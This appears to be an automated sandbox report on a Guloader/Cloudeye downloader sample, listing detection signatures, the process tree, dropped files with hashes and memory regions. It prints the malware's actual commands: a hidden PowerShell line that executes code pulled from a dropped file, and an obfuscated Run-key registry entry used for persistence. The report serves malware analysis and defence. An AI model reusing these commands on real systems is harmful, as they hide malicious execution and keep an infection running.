Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    28/05/2026, 15:23

General

  • Target
    01dcd38c47e4a0560bb9a6ff1fbdc84599c3761d20cf7fec96a16d916e894795.exe
  • Size 720KB
  • Sample260528-sshcqacz9q
  • SHA256 01dcd38c47e4a0560bb9a6ff1fbdc84599c3761d20cf7fec96a16d916e894795
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\01dcd38c47e4a0560bb9a6ff1fbdc84599c3761d20cf7fec96a16d916e894795.exe
    "C:\Users\Admin\AppData\Local\Temp\01dcd38c47e4a0560bb9a6ff1fbdc84599c3761d20cf7fec96a16d916e894795.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3248
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Parsec=GC -raw 'C:\Users\Admin\AppData\Local\Temp\Alloerotism\retskrivningsordbger\Meningsudvekslingers100\Subdiapasonic208.For';$Tekstblok=$Parsec.SubString(286,3);.$Tekstblok($Parsec)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:632
      • C:\Users\Admin\AppData\Local\Temp\Vanillon.exe
        "C:\Users\Admin\AppData\Local\Temp\Vanillon.exe"
        3⤵
        • Checks computer location settings
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1780
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Startup key" /t REG_EXPAND_SZ /d "%Gavnliges% -windowstyle 2 $Agnostikerens='g'+'p';$Fritstilledes=(.($Agnostikerens) 'HKCU:\Software\destruktioners\').'Terrnsports49';%Gavnliges% ($Fritstilledes)"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1920
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Startup key" /t REG_EXPAND_SZ /d "%Gavnliges% -windowstyle 2 $Agnostikerens='g'+'p';$Fritstilledes=(.($Agnostikerens) 'HKCU:\Software\destruktioners\').'Terrnsports49';%Gavnliges% ($Fritstilledes)"
            5⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            PID:3932

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        Aulu.Nel

        • Path C:\Users\Admin\AppData\Local\Temp\Alloerotism\retskrivningsordbger\Meningsudvekslingers100\Aulu.Nel
        • Size 396KB
        • SHA256 fdc92e112ec54de406e8843313af57f3bce2aaea24c417666b8cda78ffd4d224
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Subdiapasonic208.For

        • Path C:\Users\Admin\AppData\Local\Temp\Alloerotism\retskrivningsordbger\Meningsudvekslingers100\Subdiapasonic208.For
        • Size 51KB
        • SHA256 d660d97dd5e2c4ab186885ed02be36cb8594716baa96ab58c444081795bf9314
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Vanillon.exe

        • Path C:\Users\Admin\AppData\Local\Temp\Vanillon.exe
        • Size 720KB
        • SHA256 01dcd38c47e4a0560bb9a6ff1fbdc84599c3761d20cf7fec96a16d916e894795
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_5u1l5502.43i.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5u1l5502.43i.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        nsExec.dll

        • Path C:\Users\Admin\AppData\Local\Temp\nsf5E1A.tmp\nsExec.dll
        • Size 6KB
        • SHA256 370e47364561fa501b1300b056fb53fae12b1639fdf5f113275bee03546081c0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/632-14-0x0000000005080000-0x0000000005090000-memory.dmp

        memory/632-15-0x0000000002DD0000-0x0000000002E06000-memory.dmp

        memory/632-16-0x0000000005080000-0x0000000005090000-memory.dmp

        memory/632-17-0x00000000056C0000-0x0000000005CE8000-memory.dmp

        memory/632-18-0x00000000054F0000-0x0000000005512000-memory.dmp

        memory/632-19-0x0000000005CF0000-0x0000000005D56000-memory.dmp

        memory/632-20-0x0000000005D60000-0x0000000005DC6000-memory.dmp

        memory/632-28-0x0000000005ED0000-0x0000000006224000-memory.dmp

        memory/632-29-0x0000000006390000-0x00000000063AE000-memory.dmp

        memory/632-30-0x00000000063E0000-0x000000000642C000-memory.dmp

        memory/632-31-0x0000000007640000-0x00000000076D6000-memory.dmp

        memory/632-32-0x00000000068A0000-0x00000000068BA000-memory.dmp

        memory/632-33-0x0000000006910000-0x0000000006932000-memory.dmp

        memory/632-34-0x0000000007C90000-0x0000000008234000-memory.dmp

        memory/632-36-0x00000000088C0000-0x0000000008F3A000-memory.dmp

        memory/632-37-0x000000007F9A0000-0x000000007F9B0000-memory.dmp

        memory/632-39-0x000000006FD00000-0x000000006FD4C000-memory.dmp

        memory/632-38-0x00000000077A0000-0x00000000077D2000-memory.dmp

        memory/632-48-0x0000000007780000-0x000000000779E000-memory.dmp

        memory/632-47-0x0000000005080000-0x0000000005090000-memory.dmp

        memory/632-49-0x00000000077F0000-0x0000000007893000-memory.dmp

        memory/632-50-0x0000000007910000-0x000000000791A000-memory.dmp

        memory/632-51-0x0000000007A90000-0x0000000007AA1000-memory.dmp

        memory/632-52-0x0000000007AC0000-0x0000000007ACE000-memory.dmp

        memory/632-53-0x0000000007AD0000-0x0000000007AE4000-memory.dmp

        memory/632-54-0x0000000007B10000-0x0000000007B2A000-memory.dmp

        memory/632-55-0x0000000007B00000-0x0000000007B08000-memory.dmp

        memory/632-56-0x0000000007B40000-0x0000000007B6A000-memory.dmp

        memory/632-57-0x0000000007B70000-0x0000000007B94000-memory.dmp

        memory/632-58-0x0000000005080000-0x0000000005090000-memory.dmp

        memory/632-61-0x0000000005080000-0x0000000005090000-memory.dmp

        memory/632-60-0x0000000005080000-0x0000000005090000-memory.dmp

        memory/632-63-0x0000000005080000-0x0000000005090000-memory.dmp

        memory/632-64-0x0000000007C50000-0x0000000007C53000-memory.dmp

        memory/632-65-0x0000000008F40000-0x000000000A8BB000-memory.dmp

        memory/632-66-0x0000000008F40000-0x000000000A8BB000-memory.dmp

        memory/632-67-0x000000007F9A0000-0x000000007F9B0000-memory.dmp

        memory/632-68-0x0000000005080000-0x0000000005090000-memory.dmp

        memory/632-70-0x0000000005080000-0x0000000005090000-memory.dmp

        memory/632-71-0x0000000005080000-0x0000000005090000-memory.dmp

        memory/632-72-0x0000000007C50000-0x0000000007C53000-memory.dmp

        memory/632-73-0x0000000008F40000-0x000000000A8BB000-memory.dmp

        memory/632-76-0x0000000008F40000-0x000000000A8BB000-memory.dmp

        memory/1780-77-0x0000000000400000-0x0000000001654000-memory.dmp

        memory/1780-78-0x0000000000400000-0x0000000001654000-memory.dmp